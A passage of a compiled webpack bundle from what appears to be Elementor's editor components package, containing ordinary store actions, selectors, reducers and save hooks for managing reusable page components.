    (0,_elementor_editor_documents__WEBPACK_IMPORTED_MODULE_0__.setDocumentModifiedStatus)(true);
  }
}

/***/ }),

/***/ "./packages/packages/core/editor-components/src/store/actions/load-components-overridable-props.ts":
/*!*********************************************************************************************************!*\
  !*** ./packages/packages/core/editor-components/src/store/actions/load-components-overridable-props.ts ***!
  \*********************************************************************************************************/
/***/ (function(__unused_webpack_module, __webpack_exports__, __webpack_require__) {

__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   loadComponentsOverridableProps: function() { return /* binding */ loadComponentsOverridableProps; }
/* harmony export */ });
/* harmony import */ var _elementor_store__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! @elementor/store */ "@elementor/store");
/* harmony import */ var _elementor_store__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(_elementor_store__WEBPACK_IMPORTED_MODULE_0__);
/* harmony import */ var _api__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ../../api */ "./packages/packages/core/editor-components/src/api.ts");
/* harmony import */ var _store__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ../store */ "./packages/packages/core/editor-components/src/store/store.ts");



async function loadComponentsOverridableProps(componentIds) {
  const unloadedIds = componentIds.filter(id => !(0,_store__WEBPACK_IMPORTED_MODULE_2__.selectIsOverridablePropsLoaded)((0,_elementor_store__WEBPACK_IMPORTED_MODULE_0__.__getState)(), id));
  if (!unloadedIds.length) {
    return;
  }
  const {
    data
  } = await _api__WEBPACK_IMPORTED_MODULE_1__.apiClient.getOverridableProps(unloadedIds);
  (0,_elementor_store__WEBPACK_IMPORTED_MODULE_0__.__dispatch)(_store__WEBPACK_IMPORTED_MODULE_2__.slice.actions.loadOverridableProps(data));
}

/***/ }),

/***/ "./packages/packages/core/editor-components/src/store/actions/remove-component-styles.ts":
/*!***********************************************************************************************!*\
  !*** ./packages/packages/core/editor-components/src/store/actions/remove-component-styles.ts ***!
  \***********************************************************************************************/
/***/ (function(__unused_webpack_module, __webpack_exports__, __webpack_require__) {

__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   removeComponentStyles: function() { return /* binding */ removeComponentStyles; }
/* harmony export */ });
/* harmony import */ var _api__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ../../api */ "./packages/packages/core/editor-components/src/api.ts");

function removeComponentStyles(id) {
  _api__WEBPACK_IMPORTED_MODULE_0__.apiClient.invalidateComponentConfigCache(id);
}

/***/ }),

/***/ "./packages/packages/core/editor-components/src/store/actions/update-overridable-prop.ts":
/*!***********************************************************************************************!*\
  !*** ./packages/packages/core/editor-components/src/store/actions/update-overridable-prop.ts ***!
  \***********************************************************************************************/
/***/ (function(__unused_webpack_module, __webpack_exports__, __webpack_require__) {

__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   updateOverridableProp: function() { return /* binding */ updateOverridableProp; }
/* harmony export */ });
/* harmony import */ var _utils_resolve_override_prop_value__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ../../utils/resolve-override-prop-value */ "./packages/packages/core/editor-components/src/utils/resolve-override-prop-value.ts");
/* harmony import */ var _dispatchers__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ../dispatchers */ "./packages/packages/core/editor-components/src/store/dispatchers.ts");
/* harmony import */ var _selectors__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ../selectors */ "./packages/packages/core/editor-components/src/store/selectors.ts");



function updateOverridableProp(componentId, propValue, originPropFields) {
  const overridableProps = _selectors__WEBPACK_IMPORTED_MODULE_2__.componentsSelectors.getOverridableProps(componentId);
  if (!overridableProps) {
    return;
  }
  const existingOverridableProp = overridableProps.props[propValue.override_key];
  if (!existingOverridableProp) {
    return;
  }
  const originValue = (0,_utils_resolve_override_prop_value__WEBPACK_IMPORTED_MODULE_0__.resolveOverridePropValue)(propValue.origin_value);
  const newOverridableProp = originPropFields ? {
    originValue,
    originPropFields
  } : {
    originValue
  };
  const newOverridableProps = {
    ...overridableProps,
    props: {
      ...overridableProps.props,
      [existingOverridableProp.overrideKey]: {
        ...existingOverridableProp,
        ...newOverridableProp
      }
    }
  };
  _dispatchers__WEBPACK_IMPORTED_MODULE_1__.componentsActions.setOverridableProps(componentId, newOverridableProps);
}

/***/ }),

/***/ "./packages/packages/core/editor-components/src/store/dispatchers.ts":
/*!***************************************************************************!*\
  !*** ./packages/packages/core/editor-components/src/store/dispatchers.ts ***!
  \***************************************************************************/
/***/ (function(__unused_webpack_module, __webpack_exports__, __webpack_require__) {

__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   componentsActions: function() { return /* binding */ componentsActions; }
/* harmony export */ });
/* harmony import */ var _elementor_store__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! @elementor/store */ "@elementor/store");
/* harmony import */ var _elementor_store__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(_elementor_store__WEBPACK_IMPORTED_MODULE_0__);
/* harmony import */ var _store__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./store */ "./packages/packages/core/editor-components/src/store/store.ts");


function safeDispatch() {
  return (0,_elementor_store__WEBPACK_IMPORTED_MODULE_0__.__getStore)()?.dispatch;
}
const componentsActions = {
  add(components) {
    (0,_elementor_store__WEBPACK_IMPORTED_MODULE_0__.__dispatch)(_store__WEBPACK_IMPORTED_MODULE_1__.slice.actions.add(components));
  },
  load(components) {
    (0,_elementor_store__WEBPACK_IMPORTED_MODULE_0__.__dispatch)(_store__WEBPACK_IMPORTED_MODULE_1__.slice.actions.load(components));
  },
  addUnpublished(component) {
    (0,_elementor_store__WEBPACK_IMPORTED_MODULE_0__.__dispatch)(_store__WEBPACK_IMPORTED_MODULE_1__.slice.actions.addUnpublished(component));
  },
  removeUnpublished(uids) {
    (0,_elementor_store__WEBPACK_IMPORTED_MODULE_0__.__dispatch)(_store__WEBPACK_IMPORTED_MODULE_1__.slice.actions.removeUnpublished(uids));
  },
  resetUnpublished() {
    (0,_elementor_store__WEBPACK_IMPORTED_MODULE_0__.__dispatch)(_store__WEBPACK_IMPORTED_MODULE_1__.slice.actions.resetUnpublished());
  },
  addCreatedThisSession(uid) {
    (0,_elementor_store__WEBPACK_IMPORTED_MODULE_0__.__dispatch)(_store__WEBPACK_IMPORTED_MODULE_1__.slice.actions.addCreatedThisSession(uid));
  },
  removeCreatedThisSession(uid) {
    (0,_elementor_store__WEBPACK_IMPORTED_MODULE_0__.__dispatch)(_store__WEBPACK_IMPORTED_MODULE_1__.slice.actions.removeCreatedThisSession(uid));
  },
  archive(componentId) {
    (0,_elementor_store__WEBPACK_IMPORTED_MODULE_0__.__dispatch)(_store__WEBPACK_IMPORTED_MODULE_1__.slice.actions.archive(componentId));
  },
  setCurrentComponentId(id) {
    safeDispatch()?.(_store__WEBPACK_IMPORTED_MODULE_1__.slice.actions.setCurrentComponentId(id));
  },
  setPath(path) {
    safeDispatch()?.(_store__WEBPACK_IMPORTED_MODULE_1__.slice.actions.setPath(path));
  },
  setOverridableProps(componentId, overridableProps) {
    (0,_elementor_store__WEBPACK_IMPORTED_MODULE_0__.__dispatch)(_store__WEBPACK_IMPORTED_MODULE_1__.slice.actions.setOverridableProps({
      componentId,
      overridableProps
    }));
  },
  rename(componentUid, name) {
    (0,_elementor_store__WEBPACK_IMPORTED_MODULE_0__.__dispatch)(_store__WEBPACK_IMPORTED_MODULE_1__.slice.actions.rename({
      componentUid,
      name
    }));
  },
  cleanUpdatedComponentNames() {
    (0,_elementor_store__WEBPACK_IMPORTED_MODULE_0__.__dispatch)(_store__WEBPACK_IMPORTED_MODULE_1__.slice.actions.cleanUpdatedComponentNames());
  },
  updateComponentSanitizedAttribute(componentId, attribute) {
    (0,_elementor_store__WEBPACK_IMPORTED_MODULE_0__.__dispatch)(_store__WEBPACK_IMPORTED_MODULE_1__.slice.actions.updateComponentSanitizedAttribute({
      componentId,
      attribute
    }));
  },
  resetSanitizedComponents() {
    (0,_elementor_store__WEBPACK_IMPORTED_MODULE_0__.__dispatch)(_store__WEBPACK_IMPORTED_MODULE_1__.slice.actions.resetSanitizedComponents());
  }
};

/***/ }),

/***/ "./packages/packages/core/editor-components/src/store/extensible-slice.ts":
/*!********************************************************************************!*\
  !*** ./packages/packages/core/editor-components/src/store/extensible-slice.ts ***!
  \********************************************************************************/
/***/ (function(__unused_webpack_module, __webpack_exports__, __webpack_require__) {

__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   __resetExtraReducers: function() { return /* binding */ __resetExtraReducers; },
/* harmony export */   createComponentsAction: function() { return /* binding */ createComponentsAction; },
/* harmony export */   registerComponentsReducer: function() { return /* binding */ registerComponentsReducer; },
/* harmony export */   slice: function() { return /* binding */ slice; }
/* harmony export */ });
/* harmony import */ var _elementor_store__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! @elementor/store */ "@elementor/store");
/* harmony import */ var _elementor_store__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(_elementor_store__WEBPACK_IMPORTED_MODULE_0__);
/* harmony import */ var _store_types__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./store-types */ "./packages/packages/core/editor-components/src/store/store-types.ts");
/* harmony import */ var _thunks__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./thunks */ "./packages/packages/core/editor-components/src/store/thunks.ts");



const extraReducersMap = new Map();
function registerComponentsReducer(name, reducer) {
  extraReducersMap.set(`${_store_types__WEBPACK_IMPORTED_MODULE_1__.SLICE_NAME}/${name}`, reducer);
}
function createComponentsAction(name) {
  const action = (0,_elementor_store__WEBPACK_IMPORTED_MODULE_0__.__createAction)(`${_store_types__WEBPACK_IMPORTED_MODULE_1__.SLICE_NAME}/${name}`);
  return {
    action,
    register(reducer) {
      registerComponentsReducer(name, reducer);
    },
    dispatch(payload) {
      (0,_elementor_store__WEBPACK_IMPORTED_MODULE_0__.__dispatch)(action(payload));
    }
  };
}
function __resetExtraReducers() {
  extraReducersMap.clear();
}
const baseSlice = (0,_elementor_store__WEBPACK_IMPORTED_MODULE_0__.__createSlice)({
  name: _store_types__WEBPACK_IMPORTED_MODULE_1__.SLICE_NAME,
  initialState: _store_types__WEBPACK_IMPORTED_MODULE_1__.initialState,
  reducers: {
    add: (state, {
      payload
    }) => {
      if (Array.isArray(payload)) {
        state.data = [...payload, ...state.data];
      } else {
        state.data.unshift(payload);
      }
    },
    load: (state, {
      payload
    }) => {
      state.data = payload;
    },
    addUnpublished: (state, {
      payload
    }) => {
      state.unpublishedData.unshift(payload);
    },
    removeUnpublished: (state, {
      payload
    }) => {
      const uidsToRemove = Array.isArray(payload) ? payload : [payload];
      state.unpublishedData = state.unpublishedData.filter(component => !uidsToRemove.includes(component.uid));
    },
    resetUnpublished: state => {
      state.unpublishedData = [];
    },
    addCreatedThisSession: (state, {
      payload
    }) => {
      state.createdThisSession.push(payload);
    },
    removeCreatedThisSession: (state, {
      payload
    }) => {
      state.createdThisSession = state.createdThisSession.filter(uid => uid !== payload);
    },
    archive: (state, {
      payload
    }) => {
      const component = state.data.find(comp => comp.id === payload);
      if (component) {
        component.isArchived = true;
        state.archivedThisSession.push(payload);
      }
    },
    setCurrentComponentId: (state, {
      payload
    }) => {
      state.currentComponentId = payload;
    },
    setPath: (state, {
      payload
    }) => {
      state.path = payload;
    },
    setOverridableProps: (state, {
      payload
    }) => {
      const component = state.data.find(comp => comp.id === payload.componentId);
      if (!component) {
        return;
      }
      component.overridableProps = payload.overridableProps;
    },
    loadOverridableProps: (state, {
      payload
    }) => {
      const componentIds = Object.keys(payload);
      componentIds.forEach(id => {
        const componentId = Number(id);
        const overridableProps = payload[componentId];
        const component = state.data.find(comp => comp.id === componentId);
        if (!component || !overridableProps) {
          return;
        }
        component.overridableProps = overridableProps;
      });
    },
    rename: (state, {
      payload
    }) => {
      const component = state.data.find(comp => comp.uid === payload.componentUid);
      if (!component) {
        return;
      }
      if (component.id) {
        state.updatedComponentNames[component.id] = payload.name;
      }
      component.name = payload.name;
    },
    cleanUpdatedComponentNames: state => {
      state.updatedComponentNames = {};
    },
    updateComponentSanitizedAttribute: (state, {
      payload: {
        componentId,
        attribute
      }
    }) => {
      if (!state.sanitized[componentId]) {
        state.sanitized[componentId] = {};
      }
      state.sanitized[componentId][attribute] = true;
    },
    resetSanitizedComponents: state => {
      state.sanitized = {};
    }
  },
  extraReducers: builder => {
    builder.addCase(_thunks__WEBPACK_IMPORTED_MODULE_2__.loadComponents.fulfilled, (state, {
      payload
    }) => {
      state.data = payload;
      state.loadStatus = 'idle';
    });
    builder.addCase(_thunks__WEBPACK_IMPORTED_MODULE_2__.loadComponents.pending, state => {
      state.loadStatus = 'pending';
    });
    builder.addCase(_thunks__WEBPACK_IMPORTED_MODULE_2__.loadComponents.rejected, state => {
      state.loadStatus = 'error';
    });
  }
});
const slice = {
  ...baseSlice,
  reducer(state, action) {
    const nextState = baseSlice.reducer(state, action);
    const extraReducer = extraReducersMap.get(action.type);
    if (!extraReducer || !nextState) {
      return nextState;
    }
    const clonedState = structuredClone(nextState);
    extraReducer(clonedState, action);
    return clonedState;
  }
};

/***/ }),

/***/ "./packages/packages/core/editor-components/src/store/selectors.ts":
/*!*************************************************************************!*\
  !*** ./packages/packages/core/editor-components/src/store/selectors.ts ***!
  \*************************************************************************/
/***/ (function(__unused_webpack_module, __webpack_exports__, __webpack_require__) {

__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   componentsSelectors: function() { return /* binding */ componentsSelectors; }
/* harmony export */ });
/* harmony import */ var _elementor_store__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! @elementor/store */ "@elementor/store");
/* harmony import */ var _elementor_store__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(_elementor_store__WEBPACK_IMPORTED_MODULE_0__);
/* harmony import */ var _store__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./store */ "./packages/packages/core/editor-components/src/store/store.ts");


function safeGetState() {
  return (0,_elementor_store__WEBPACK_IMPORTED_MODULE_0__.__getStore)()?.getState();
}
const componentsSelectors = {
  getOverridableProps(componentId) {
    return (0,_store__WEBPACK_IMPORTED_MODULE_1__.selectOverridableProps)((0,_elementor_store__WEBPACK_IMPORTED_MODULE_0__.__getState)(), componentId);
  },
  getCurrentComponent() {
    return (0,_store__WEBPACK_IMPORTED_MODULE_1__.selectCurrentComponent)((0,_elementor_store__WEBPACK_IMPORTED_MODULE_0__.__getState)());
  },
  getCurrentComponentId() {
    const state = safeGetState();
    if (!state) {
      return null;
    }
    return (0,_store__WEBPACK_IMPORTED_MODULE_1__.selectCurrentComponentId)(state);
  },
  getUnpublishedComponents() {
    return (0,_store__WEBPACK_IMPORTED_MODULE_1__.selectUnpublishedComponents)((0,_elementor_store__WEBPACK_IMPORTED_MODULE_0__.__getState)());
  },
  getUpdatedComponentNames() {
    return (0,_store__WEBPACK_IMPORTED_MODULE_1__.selectUpdatedComponentNames)((0,_elementor_store__WEBPACK_IMPORTED_MODULE_0__.__getState)());
  },
  getArchivedThisSession() {
    return (0,_store__WEBPACK_IMPORTED_MODULE_1__.selectArchivedThisSession)((0,_elementor_store__WEBPACK_IMPORTED_MODULE_0__.__getState)());
  },
  getCreatedThisSession() {
    return (0,_store__WEBPACK_IMPORTED_MODULE_1__.selectCreatedThisSession)((0,_elementor_store__WEBPACK_IMPORTED_MODULE_0__.__getState)());
  },
  getComponents() {
    return (0,_store__WEBPACK_IMPORTED_MODULE_1__.selectComponents)((0,_elementor_store__WEBPACK_IMPORTED_MODULE_0__.__getState)());
  },
  getComponentByUid(componentUid) {
    return (0,_store__WEBPACK_IMPORTED_MODULE_1__.selectComponentByUid)((0,_elementor_store__WEBPACK_IMPORTED_MODULE_0__.__getState)(), componentUid);
  }
};

/***/ }),

/***/ "./packages/packages/core/editor-components/src/store/store-types.ts":
/*!***************************************************************************!*\
  !*** ./packages/packages/core/editor-components/src/store/store-types.ts ***!
  \***************************************************************************/
/***/ (function(__unused_webpack_module, __webpack_exports__, __webpack_require__) {

__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   SLICE_NAME: function() { return /* binding */ SLICE_NAME; },
/* harmony export */   initialState: function() { return /* binding */ initialState; }
/* harmony export */ });
const initialState = {
  data: [],
  unpublishedData: [],
  loadStatus: 'idle',
  createdThisSession: [],
  archivedThisSession: [],
  path: [],
  currentComponentId: null,
  updatedComponentNames: {},
  sanitized: {}
};
const SLICE_NAME = 'components';

/***/ }),

/***/ "./packages/packages/core/editor-components/src/store/store.ts":
/*!*********************************************************************!*\
  !*** ./packages/packages/core/editor-components/src/store/store.ts ***!
  \*********************************************************************/
/***/ (function(__unused_webpack_module, __webpack_exports__, __webpack_require__) {

__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   SLICE_NAME: function() { return /* reexport safe */ _store_types__WEBPACK_IMPORTED_MODULE_1__.SLICE_NAME; },
/* harmony export */   __resetExtraReducers: function() { return /* reexport safe */ _extensible_slice__WEBPACK_IMPORTED_MODULE_2__.__resetExtraReducers; },
/* harmony export */   createComponentsAction: function() { return /* reexport safe */ _extensible_slice__WEBPACK_IMPORTED_MODULE_2__.createComponentsAction; },
/* harmony export */   initialState: function() { return /* reexport safe */ _store_types__WEBPACK_IMPORTED_MODULE_1__.initialState; },
/* harmony export */   registerComponentsReducer: function() { return /* reexport safe */ _extensible_slice__WEBPACK_IMPORTED_MODULE_2__.registerComponentsReducer; },
/* harmony export */   selectArchivedThisSession: function() { return /* binding */ selectArchivedThisSession; },
/* harmony export */   selectComponent: function() { return /* binding */ selectComponent; },
/* harmony export */   selectComponentByUid: function() { return /* binding */ selectComponentByUid; },
/* harmony export */   selectComponents: function() { return /* binding */ selectComponents; },
/* harmony export */   selectCreatedThisSession: function() { return /* binding */ selectCreatedThisSession; },
/* harmony export */   selectCurrentComponent: function() { return /* binding */ selectCurrentComponent; },
/* harmony export */   selectCurrentComponentId: function() { return /* binding */ selectCurrentComponentId; },
/* harmony export */   selectData: function() { return /* binding */ selectData; },
/* harmony export */   selectIsOverridablePropsLoaded: function() { return /* binding */ selectIsOverridablePropsLoaded; },
/* harmony export */   selectLoadIsError: function() { return /* binding */ selectLoadIsError; },
/* harmony export */   selectLoadIsPending: function() { return /* binding */ selectLoadIsPending; },
/* harmony export */   selectOverridableProps: function() { return /* binding */ selectOverridableProps; },
/* harmony export */   selectPath: function() { return /* binding */ selectPath; },
/* harmony export */   selectUnpublishedComponents: function() { return /* binding */ selectUnpublishedComponents; },
/* harmony export */   selectUpdatedComponentNames: function() { return /* binding */ selectUpdatedComponentNames; },
/* harmony export */   slice: function() { return /* reexport safe */ _extensible_slice__WEBPACK_IMPORTED_MODULE_2__.slice; },
/* harmony export */   useComponent: function() { return /* binding */ useComponent; },
/* harmony export */   useCurrentComponent: function() { return /* binding */ useCurrentComponent; },
/* harmony export */   useCurrentComponentId: function() { return /* binding */ useCurrentComponentId; },
/* harmony export */   useIsSanitizedComponent: function() { return /* binding */ useIsSanitizedComponent; },
/* harmony export */   useOverridableProps: function() { return /* binding */ useOverridableProps; }
/* harmony export */ });
/* harmony import */ var _elementor_store__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! @elementor/store */ "@elementor/store");
/* harmony import */ var _elementor_store__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(_elementor_store__WEBPACK_IMPORTED_MODULE_0__);
/* harmony import */ var _store_types__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./store-types */ "./packages/packages/core/editor-components/src/store/store-types.ts");
/* harmony import */ var _extensible_slice__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./extensible-slice */ "./packages/packages/core/editor-components/src/store/extensible-slice.ts");




const selectData = state => state[_store_types__WEBPACK_IMPORTED_MODULE_1__.SLICE_NAME].data;
const selectArchivedThisSession = state => state[_store_types__WEBPACK_IMPORTED_MODULE_1__.SLICE_NAME].archivedThisSession;
const selectLoadStatus = state => state[_store_types__WEBPACK_IMPORTED_MODULE_1__.SLICE_NAME].loadStatus;
const selectUnpublishedData = state => state[_store_types__WEBPACK_IMPORTED_MODULE_1__.SLICE_NAME].unpublishedData;
const getCreatedThisSession = state => state[_store_types__WEBPACK_IMPORTED_MODULE_1__.SLICE_NAME].createdThisSession;
const getPath = state => state[_store_types__WEBPACK_IMPORTED_MODULE_1__.SLICE_NAME].path;
const getCurrentComponentId = state => state[_store_types__WEBPACK_IMPORTED_MODULE_1__.SLICE_NAME].currentComponentId;
const selectComponent = (state, componentId) => state[_store_types__WEBPACK_IMPORTED_MODULE_1__.SLICE_NAME].data.find(component => component.id === componentId);
const useComponent = componentId => {
  return (0,_elementor_store__WEBPACK_IMPORTED_MODULE_0__.__useSelector)(state => componentId ? selectComponent(state, componentId) : null);
};
const selectComponentByUid = (state, componentUid) => state[_store_types__WEBPACK_IMPORTED_MODULE_1__.SLICE_NAME].data.find(component => component.uid === componentUid) ?? state[_store_types__WEBPACK_IMPORTED_MODULE_1__.SLICE_NAME].unpublishedData.find(component => component.uid === componentUid);
const selectComponents = (0,_elementor_store__WEBPACK_IMPORTED_MODULE_0__.__createSelector)(selectData, selectUnpublishedData, (data, unpublishedData) => [...unpublishedData.map(item => ({
  uid: item.uid,
  name: item.name,
  overridableProps: item.overridableProps
})), ...data.filter(component => !component.isArchived)]);
const selectUnpublishedComponents = (0,_elementor_store__WEBPACK_IMPORTED_MODULE_0__.__createSelector)(selectUnpublishedData, unpublishedData => unpublishedData);
const selectLoadIsPending = (0,_elementor_store__WEBPACK_IMPORTED_MODULE_0__.__createSelector)(selectLoadStatus, status => status === 'pending');
const selectLoadIsError = (0,_elementor_store__WEBPACK_IMPORTED_MODULE_0__.__createSelector)(selectLoadStatus, status => status === 'error');
const selectCreatedThisSession = (0,_elementor_store__WEBPACK_IMPORTED_MODULE_0__.__createSelector)(getCreatedThisSession, createdThisSession => createdThisSession);
const DEFAULT_OVERRIDABLE_PROPS = {
  props: {},
  groups: {
    items: {},
    order: []
  }
};
const selectOverridableProps = (0,_elementor_store__WEBPACK_IMPORTED_MODULE_0__.__createSelector)(selectComponent, component => {
  if (!component) {
    return undefined;
  }
  return component.overridableProps ?? DEFAULT_OVERRIDABLE_PROPS;
});
const useOverridableProps = componentId => {
  return (0,_elementor_store__WEBPACK_IMPORTED_MODULE_0__.__useSelector)(state => componentId ? selectOverridableProps(state, componentId) : null);
};
const selectIsOverridablePropsLoaded = (0,_elementor_store__WEBPACK_IMPORTED_MODULE_0__.__createSelector)(selectComponent, component => {
  return !!component?.overridableProps;
});
const selectPath = (0,_elementor_store__WEBPACK_IMPORTED_MODULE_0__.__createSelector)(getPath, path => path);
const selectCurrentComponentId = (0,_elementor_store__WEBPACK_IMPORTED_MODULE_0__.__createSelector)(getCurrentComponentId, currentComponentId => currentComponentId);
const selectCurrentComponent = (0,_elementor_store__WEBPACK_IMPORTED_MODULE_0__.__createSelector)(selectData, getCurrentComponentId, (data, currentComponentId) => data.find(component => component.id === currentComponentId));
const useCurrentComponentId = () => {
  return (0,_elementor_store__WEBPACK_IMPORTED_MODULE_0__.__useSelector)(selectCurrentComponentId);
};
const useCurrentComponent = () => {
  return (0,_elementor_store__WEBPACK_IMPORTED_MODULE_0__.__useSelector)(selectCurrentComponent);
};
const selectUpdatedComponentNames = (0,_elementor_store__WEBPACK_IMPORTED_MODULE_0__.__createSelector)(state => state[_store_types__WEBPACK_IMPORTED_MODULE_1__.SLICE_NAME].updatedComponentNames, updatedComponentNames => Object.entries(updatedComponentNames).map(([componentId, title]) => ({
  componentId: Number(componentId),
  title
})));
const useSanitizedComponents = () => {
  return (0,_elementor_store__WEBPACK_IMPORTED_MODULE_0__.__useSelector)(state => state[_store_types__WEBPACK_IMPORTED_MODULE_1__.SLICE_NAME].sanitized);
};
const useIsSanitizedComponent = (componentId, key) => {
  const sanitizedComponents = useSanitizedComponents();
  if (!componentId) {
    return false;
  }
  return !!sanitizedComponents[componentId]?.[key];
};

/***/ }),

/***/ "./packages/packages/core/editor-components/src/store/thunks.ts":
/*!**********************************************************************!*\
  !*** ./packages/packages/core/editor-components/src/store/thunks.ts ***!
  \**********************************************************************/
/***/ (function(__unused_webpack_module, __webpack_exports__, __webpack_require__) {

__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   loadComponents: function() { return /* binding */ loadComponents; }
/* harmony export */ });
/* harmony import */ var _elementor_store__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! @elementor/store */ "@elementor/store");
/* harmony import */ var _elementor_store__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(_elementor_store__WEBPACK_IMPORTED_MODULE_0__);
/* harmony import */ var _api__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ../api */ "./packages/packages/core/editor-components/src/api.ts");


const loadComponents = (0,_elementor_store__WEBPACK_IMPORTED_MODULE_0__.__createAsyncThunk)('components/load', async () => {
  const response = await _api__WEBPACK_IMPORTED_MODULE_1__.apiClient.get();
  return response;
});


/***/ }),

/***/ "./packages/packages/core/editor-components/src/sync/before-save.ts":
/*!**************************************************************************!*\
  !*** ./packages/packages/core/editor-components/src/sync/before-save.ts ***!
  \**************************************************************************/
/***/ (function(__unused_webpack_module, __webpack_exports__, __webpack_require__) {

__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   beforeSave: function() { return /* binding */ beforeSave; }
/* harmony export */ });
/* harmony import */ var _publish_draft_components_in_page_before_save__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ./publish-draft-components-in-page-before-save */ "./packages/packages/core/editor-components/src/sync/publish-draft-components-in-page-before-save.ts");

const beforeSave = ({
  container,
  status
}) => {
  const elements = container?.model.get('elements').toJSON?.() ?? [];
  return (0,_publish_draft_components_in_page_before_save__WEBPACK_IMPORTED_MODULE_0__.publishDraftComponentsInPageBeforeSave)({
    elements,
    status
  });
};

/***/ }),

/***/ "./packages/packages/core/editor-components/src/sync/load-component-data-after-instance-added.ts":
/*!*******************************************************************************************************!*\
  !*** ./packages/packages/core/editor-components/src/sync/load-component-data-after-instance-added.ts ***!
  \*******************************************************************************************************/
/***/ (function(__unused_webpack_module, __webpack_exports__, __webpack_require__) {

__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   initLoadComponentDataAfterInstanceAdded: function() { return /* binding */ initLoadComponentDataAfterInstanceAdded; }
/* harmony export */ });
/* harmony import */ var _elementor_editor_v1_adapters__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! @elementor/editor-v1-adapters */ "@elementor/editor-v1-adapters");
/* harmony import */ var _elementor_editor_v1_adapters__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(_elementor_editor_v1_adapters__WEBPACK_IMPORTED_MODULE_0__);
/* harmony import */ var _store_actions_load_components_assets__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ../store/actions/load-components-assets */ "./packages/packages/core/editor-components/src/store/actions/load-components-assets.ts");


function initLoadComponentDataAfterInstanceAdded() {
  (0,_elementor_editor_v1_adapters__WEBPACK_IMPORTED_MODULE_0__.registerDataHook)('after', 'document/elements/paste', (_args, result) => {
    load(result);
  });
  (0,_elementor_editor_v1_adapters__WEBPACK_IMPORTED_MODULE_0__.registerDataHook)('after', 'document/elements/import', (_args, result) => {
    load(result);
  });
}
function load(result) {
  if (!result) {
    return;
  }
  const containers = Array.isArray(result) ? result : [result];
  const elements = containers.map(container => container.model?.toJSON()).filter(element => !!element);
  (0,_store_actions_load_components_assets__WEBPACK_IMPORTED_MODULE_1__.loadComponentsAssets)(elements);
}

/***/ }),

/***/ "./packages/packages/core/editor-components/src/sync/publish-draft-components-in-page-before-save.ts":
/*!***********************************************************************************************************!*\
  !*** ./packages/packages/core/editor-components/src/sync/publish-draft-components-in-page-before-save.ts ***!
  \***********************************************************************************************************/
/***/ (function(__unused_webpack_module, __webpack_exports__, __webpack_require__) {

__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   publishDraftComponentsInPageBeforeSave: function() { return /* binding */ publishDraftComponentsInPageBeforeSave; }
/* harmony export */ });
/* harmony import */ var _elementor_editor_documents__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! @elementor/editor-documents */ "@elementor/editor-documents");
/* harmony import */ var _elementor_editor_documents__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(_elementor_editor_documents__WEBPACK_IMPORTED_MODULE_0__);
/* harmony import */ var _elementor_editor_notifications__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! @elementor/editor-notifications */ "@elementor/editor-notifications");
/* harmony import */ var _elementor_editor_notifications__WEBPACK_IMPORTED_MODULE_1___default = /*#__PURE__*/__webpack_require__.n(_elementor_editor_notifications__WEBPACK_IMPORTED_MODULE_1__);
